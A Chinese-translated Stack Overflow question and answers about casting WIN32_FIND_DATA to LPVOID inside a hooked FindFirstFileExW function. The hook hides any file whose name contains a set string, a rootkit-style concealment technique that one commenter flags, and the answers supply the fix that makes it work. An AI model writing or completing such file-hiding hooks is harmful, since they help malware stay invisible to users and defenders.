【问题标题】:Casting WIN32_FIND_DATA to LPVOID将 WIN32_FIND_DATA 转换为 LPVOID
【发布时间】:2011-12-02 16:51:48
【问题描述】:

如何将 WIN32_FIND_DATA 转换为 LPVOID?

我正在尝试挂钩一个函数,但我无法将 WIN32_FIND_DATA 转换为 LPVOID

这是我的功能:

/* New FindFirstFileW Function */
HANDLE WINAPI newFindFirstFileExW(__in LPCTSTR lpFileName, __in FINDEX_INFO_LEVELS fInfoLevelId, __out LPVOID lpFindFileData,  __in FINDEX_SEARCH_OPS fSearchOp,
                                     __reserved  LPVOID lpSearchFilter, __in DWORD dwAdditionalFlags)
{
    HANDLE hFind;
    WIN32_FIND_DATA findData;
    BOOL ret;
    hFind = FindFirstFileExW(lpFileName, fInfoLevelId, &findData, fSearchOp, lpSearchFilter, dwAdditionalFlags);

    if (hFind == INVALID_HANDLE_VALUE)
        return hFind;

    // if first file name starts with HIDE_NAME_W skip the file
    if (wcsstr(findData.cFileName, HIDE_NAME_W) != 0)
    {
        ret = true;
        do {
            ret = FindNextFileW(hFind, &findData);
        } while (!ret && wcsstr(findData.cFileName, HIDE_NAME_W) != 0);

        if (!ret)
        {
            SetLastError(ERROR_FILE_NOT_FOUND);
            return INVALID_HANDLE_VALUE;
        }
    }

    lpFindFileData = reinterpret_cast<LPVOID>(findData);
    return hFind;
}

编辑: 谢谢大家的帮助,现在我的问题是我忘了改变 被调用的函数.. 我正在连接 FindFirstFileExW 其他一些函数

【问题讨论】:

  • 你缺少一个 & 符号 - &
  • 这不是rootkit吗?

标签: c++ winapi casting hook


【解决方案1】:

您必须将 WIN32_FIND_DATA 复制到内存中的 lpFindFileData。 最后一个 return 之前的行应该是这样的:

*reinterpret_cast<WIN32_FIND_DATA*>(lpFindFileData) = findData;

【讨论】:

  • 我的挂钩设置正确,因为当我尝试挂钩其他功能时它工作正常..这是唯一给我带来问题的功能
  • nvm 现在可以工作了,谢谢!原因在帖子中:)!
【解决方案2】:

lpFindFileData = reinterpret_cast&lt;LPVOID&gt;(findData);

findData 在此上下文中不是指针,而是实际的WIN32_FIND_DATA

改为这样做:

lpFindFileData = reinterpret_cast&lt;LPVOID&gt;(&amp;findData);

【讨论】:

  • 由于某种原因,如果我使用这种类型的演员表,当我键入“dir”时,它会导致 cmd.exe 进程崩溃
  • nvm 现在可以工作了,谢谢!原因在帖子中:)!
猜你喜欢
  • 2012-04-03
  • 2015-07-01
  • 2014-12-07
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2011-06-16
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多